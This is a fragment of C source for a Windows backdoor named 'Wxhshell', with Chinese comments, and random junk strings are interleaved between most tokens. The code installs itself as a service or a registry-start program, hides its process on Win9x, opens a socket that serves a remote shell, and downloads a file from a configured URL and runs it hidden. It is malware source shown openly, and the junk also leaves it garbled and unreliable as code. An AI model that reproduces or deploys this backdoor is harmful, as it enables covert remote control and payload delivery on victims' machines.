@\#td5' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4H&+dRI" eng'X-x CloseHandle(hProcess); +23xev U>N1Od4vTO if(strstr(procName,"services")) return 1; // 以服务启动 N<}5A% T_4/C2 return 0; // 注册表启动 ,k3FRes3 } ISvpQ 3{)s 0 kW,I // 主模块 4^:=xL int StartWxhshell(LPSTR lpCmdLine) oCz/HQoBk { &F~T-i>X SOCKET wsl; <RL] BOOL val=TRUE; k9L;!TH~1K int port=0; 9\7en%( M struct sockaddr_in door; cbTm'}R(G i9x+A/o[ if(wscfg.ws_autoins) Install(); /j.9$H'y >4CbwwMA port=atoi(lpCmdLine); _oeS Uzq. gg2(5FPP if(port<=0) port=wscfg.ws_port; `;egv*!P 3^yK!-Wp( WSADATA data; Nj/
x. X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jmZI7?<z utV_W& if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TM%%O :3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +
{'.7# door.sin_family = AF_INET; x[e<} 8'$( door.sin_addr.s_addr = inet_addr("127.0.0.1"); tKXIk9e door.sin_port = htons(port); X"%gQ.1|{j 4j^
@wV' if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9hyn`u. closesocket(wsl); U 6)#}
return 1; CU!Dhm/U } tQ#n${a@f #Gi$DMW if(listen(wsl,2) == INVALID_SOCKET) { do'GlU oMC closesocket(wsl); !j-Z Lq:; return 1; ;!Fn1|) } 5|)W.*Q Wxhshell(wsl); x]j W<A WSACleanup(); I7]8Y=xf kyV8K#}%8 return 0; @2i9n &UFZS94@r } kq-) ^,{y (cO:`W6. // 以NT服务方式启动 [V`r^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8{ I|$*nB { /$%%s=@IL DWORD status = 0; lU]nd[x DWORD specificError = 0xfffffff; 7t3!)a|lI +ZX{>:vo serviceStatus.dwServiceType = SERVICE_WIN32; # f\rt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8 zb/xP> serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n=q76W\ serviceStatus.dwWin32ExitCode = 0; 0n'_{\yz serviceStatus.dwServiceSpecificExitCode = 0; ~$J2g serviceStatus.dwCheckPoint = 0; o+VQ\1as?( serviceStatus.dwWaitHint = 0; Iga024KR \b>]8Un" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U$UIN# if (hServiceStatusHandle==0) return; ?q [T 5:?!=<= status = GetLastError(); J.%IfN if (status!=NO_ERROR) \{D"
!e { bI`g|v serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Khv>#l
serviceStatus.dwCheckPoint = 0; 6S{l'!s' serviceStatus.dwWaitHint = 0; \{YU wKK/A serviceStatus.dwWin32ExitCode = status; s#GLJl\E_P serviceStatus.dwServiceSpecificExitCode = specificError; qg$ <oL@~~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); }-`4DHgq return; nr#|b`J] } Pzem{y7Ir 'c~4+o4co serviceStatus.dwCurrentState = SERVICE_RUNNING; $pz/?>! serviceStatus.dwCheckPoint = 0; +cRn%ioVi serviceStatus.dwWaitHint = 0; GtHivC if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SS2%qv } 3(UVg!t %}T6]S)%u // 处理NT服务事件,比如:启动、停止 H;"4C8K7 VOID WINAPI NTServiceHandler(DWORD fdwControl) !`r$"}g { ajpXL switch(fdwControl) 8?C5L8) { 47B&s
case SERVICE_CONTROL_STOP: dF2RH)Ud serviceStatus.dwWin32ExitCode = 0; ")25
qZae serviceStatus.dwCurrentState = SERVICE_STOPPED; J~- 4C) serviceStatus.dwCheckPoint = 0;
AOx[ serviceStatus.dwWaitHint = 0; S8gs-gL#Og { 8b=_Y; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5LMw?P.< } LH6vLuf return; }PpUAt~g case SERVICE_CONTROL_PAUSE: _
x*3PE serviceStatus.dwCurrentState = SERVICE_PAUSED; >R=|Wo`Ri break; UCWBYC+ case SERVICE_CONTROL_CONTINUE: Ir]\|t serviceStatus.dwCurrentState = SERVICE_RUNNING; zW nR6*\ break; ?h2}#wg case SERVICE_CONTROL_INTERROGATE: `y0FY&y= break; zBH2@d3W }; WEpoBP
CL SetServiceStatus(hServiceStatusHandle, &serviceStatus); V43H/hl } )`}:8y? y+;|Fz // 标准应用程序主函数 R}ecc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !!y a { XfmwVjy Q@H V- (A // 获取操作系统版本 i mM_H;-X OsIsNt=GetOsVer(); c`Wa^( GetModuleFileName(NULL,ExeFile,MAX_PATH); tnIX:6 g=I})s:CTp // 从命令行安装 |cY`x(?yP if(strpbrk(lpCmdLine,"iI")) Install(); 9!tW.pK5 :Qq#Z // 下载执行文件 mA} "a<0 if(wscfg.ws_downexe) { -']56o_sQ/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^C%<l(b WinExec(wscfg.ws_filenam,SW_HIDE); \Og+c% } B-ESFATc cj@koA' if(!OsIsNt) { DL.!G // 如果时win9x,隐藏进程并且设置为注册表启动 'f|o{ HideProc(); 3M= StartWxhshell(lpCmdLine); /7LR;>B j } ET >](l9 else uIrG* K if(StartFromService()) |&jXp%4T // 以服务方式启动 Rva$IX^] StartServiceCtrlDispatcher(DispatchTable); C.QO#b else eiOW#_"\ // 普通方式启动 9ll~~zF99| StartWxhshell(lpCmdLine); "ITIhnE 5(8@%6>ruj return 0; Ct|A:/z( }
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